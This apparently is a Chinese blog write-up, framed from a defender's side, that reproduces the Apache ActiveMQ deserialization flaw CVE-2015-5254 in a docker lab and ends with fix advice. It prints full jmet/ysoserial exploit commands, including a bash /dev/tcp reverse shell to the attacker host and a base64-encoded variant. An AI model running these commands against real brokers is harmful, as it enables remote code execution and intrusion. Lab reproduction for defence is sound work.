蓝队视角看攻防系列之CVE-2015-5254

本文详细描述了ApacheActiveMQ5.x版本的一个安全漏洞,攻击者可通过序列化对象执行任意代码。作者演示了如何在docker环境中搭建漏洞环境,并利用jmet工具复现漏洞,最终实现反弹shell。文中也给出了修复建议,包括升级到最新版本和配置WAF以增强防护。
摘要由CSDN通过智能技术生成

0X01漏洞描述

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

0X02环境搭建

本地使用docker搭建vulhub漏洞环境,直接docker-compose开启容器,虚拟机地址为192.168.0.144,端口为6161

注意:这边如果是第一次起docker环境的情况,可能Linux默认监听为IPV6的地址,需要将/etc/default/grub文件的第六行的值中,添加ipv6.disable=1(如图), 保存后重新配置grub并重启服务器

$ grub2-mkconfig -o /boot/grub2/grub.cfg
$ reboot

访问成功

0X03漏洞复现

1、利用条件限制:

版本需符合 Apache ActiveMQ < 5.13.0之前5.x版本
能够登录 ActiveMQ 处理消息队列,无法登陆的情况下无法处理消息队列
只能管理员/用户去点击我们插入的消息才能触发,所以登录用户必须有权限处理消息队列。【这一点比较鸡肋,还要配合弱口令,如果没有弱口令就随缘了】

2、复现环境:

靶机:192.1668.0.144

攻击机:192.168.0.149

3、漏洞利用

使用jmet进行漏洞利用(原理:使用集成的ysoserial生成payload并发送)Releases · matthiaskaiser/jmet · GitHub

下载jmet到本地,同级目录创建external目录,否则可能会报文件夹不存在的错误。

jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

利用jmet构造消息队列发送到目标服务器61616端口(这里为在目标服务器/tmp/目录创建一个success文件)

访问web站点查看创建的消息队列是否成功,【真实环境中需要先拿到 ActiveMQ 的登录账号密码】,此处靶场账号密码为 admin/admin

当用户浏览事件点击该消息队列时便可触发反序列化漏洞,会在 /tmp/ 路径下 创建一个 success 文件。

这边还有个坑,activemq5.11.1版本要配合jdk1.7才能用,不然会报错(自行官网下载)

利用 ActiveMQ 反序列化漏洞 反弹 shell

利用 jmet 在消息队列中构建反弹shell的payload

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& bash -i>/dev/tcp/192.168.0.149/1234 0>&1" -Yp ROME 192.168.0.144 61616

需要对bash -i>/dev/tcp/192.168.0.149/1234 0>&1进行base64编码

这里还有个坑,之前用bash -i>&/dev/tvp/192.168.0.149/1234 0>&1这个bash命令反弹就一直不行,还一直以为是docker环境不支持bash的原因,bash的问题留到后面在研究吧

base64编码后的结果如下:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaT4vZGV2L3RjcC8xOTIuMTY4LjAuMTQ5LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.0.144 61616

web页面点击日志,触发反弹shell,反弹成功。

0X04流量分析

这里贴上两张执行不同命令的TCP流的截图,可以看到其实大同小异,就是在命令执行,一般WAF都能阻断这些命令。

0X05修复建议

1.升级到最新版本
2.有WAF的可以配置相关规则进行拦截(建议拦截管理页面的URL,即http://YOURIP:8161/admin/, 或者直接管理对管理页面进行访问控制,降低风险)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值